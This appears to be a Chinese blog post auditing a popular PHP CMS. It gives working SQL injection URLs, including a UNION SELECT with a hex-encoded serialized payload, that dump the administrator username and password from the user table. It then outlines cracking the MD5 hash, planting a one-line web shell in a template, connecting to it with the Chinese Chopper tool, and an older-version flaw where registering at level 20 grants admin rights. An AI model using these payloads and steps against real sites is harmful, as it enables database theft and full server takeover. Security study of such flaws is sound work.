近在研究代码审计,便去chinaz 找了个人气比较高的 cms,本文适合我等刚入门滴人士
文档下载地址: http://115.com/file/e776qbw0#
Ue批量查了一下源码 整个系统都在注入 注入
额,单引号啊,还需要绕过,开gpc就惨了,然而,发现这个伟大的cms,竟然自动去除gpc …
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if(get_magic_quotes_gpc()) // Maybe would be removed in php6 |
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function stripslashes_deep($value)5{ |
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$value = is_array($value) ? array_map('stripslashes_deep', $value) : (isset($value) ? stripslashes($value) : null); |
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$_POST = stripslashes_deep($_POST); |
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$_GET = stripslashes_deep($_GET); |
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11$_COOKIE = stripslashes_deep($_COOKIE); |
前台开始注射
http://127.0.0.1/coder/alpaca/index.php/page/18/
对应的sql语句为
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select count(*) as a from `elem` where 1 and rel_id=’18′ |
当我们提交
sql语句
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select * from `elem` where 1 and lower(elem_name) = lower(‘a”) |
这里是一个经典的联合查询 本来还在想怎么绕过gpc的 没想到自动去除鸟
直接提交
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http://127.0.0.1/coder/alpaca/index.php/page/a’) AND 1 =2 UNION SELECT 1 ,2,3, 4,5,6, 7, 8, 9,username,PASSWORD FROM user %23 |
发现什么都木有
看源码 appvelempage.php 其实里面很多源码还是写的很巧妙的
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if(!is_array($page)) show_404(); |
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if( $action == 'add' ) { |
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$info = unserialize($page['elem_info']); |
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'page_title' => isset($info['page_title'])&&$info['page_title']!=''?$info['page_title']:$page['title'], |
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'meta_keywords' => isset($info['meta_keywords'])&&$info['meta_keywords']!=''?$info['meta_keywords']:$page['title'], |
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'meta_description' => isset($info['meta_description'])&&$info['meta_description']!=''?$info['meta_description']:$page['title'] |
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$param = array_merge($page , $info , $meta ); |
需要一个$page['elem_info']那我就在六号位写一个 仿照官方的 elem_info (十六进制)
得到 exp
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http://127.0.0.1/coder/alpaca/index.php/page/a') AND 1 =2 UNION SELECT 18,PASSWORD ,'page',10,1,0x613A31353A7B733A353A226D6F64656C223B733A313A2238223B733A333A22706963223B733A37303A22687474703A2F2F79752E6232342F616C70616361332E312F757066696C652F696D6167652F32303132303432312F32303132303432313030303135315F34363936352E6A7067223B733A353A227072696365223B733A333A22333030223B733A373A22636F6E74656E74223B733A303A22223B733A31303A22706167655F7469746C65223B733A303A22223B733A31333A226D6574615F6B6579776F726473223B733A303A22223B733A31363A226D6574615F6465736372697074696F6E223B733A303A22223B733A383A2274656D706C617465223B733A313A2230223B733A363A226C61796F7574223B733A313A2239223B733A393A22706167655F73697A65223B733A323A223230223B733A31343A226368696C645F74656D706C617465223B733A313A2230223B733A31323A226368696C645F6C61796F7574223B733A313A2232223B733A31313A226368696C645F6D6F64656C223B733A313A2231223B733A31313A22757365725F62726F777365223B733A313A2230223B733A383A22757365725F616464223B733A323A223130223B7D, 7, "1334937721","1334937721", 10,11 FROM user %23/ |
成功爆出 管理员密码
把上面的 password 改为 username 爆出管理员账号 拿 shell
破解md5 进后台 模板写入一句话 拿他妈的shell 模板 直接写入一句话 (需要把修改的设为默认模板)
菜刀连接之
本来到这里就可以了 但却意外发现一个狗血的 东东 仅供娱乐 请看下文
******************************淫荡的分割线************************************
现在睁大您的钛合金狗眼,我们来看低版本的 2.x, 点击注册 www.91ri.org /user/reg/
Let me try
然后在登陆后台 www.xxx.com/admin
把级别调为20 注册就是管理员 阁下是否感到菊花一紧了…
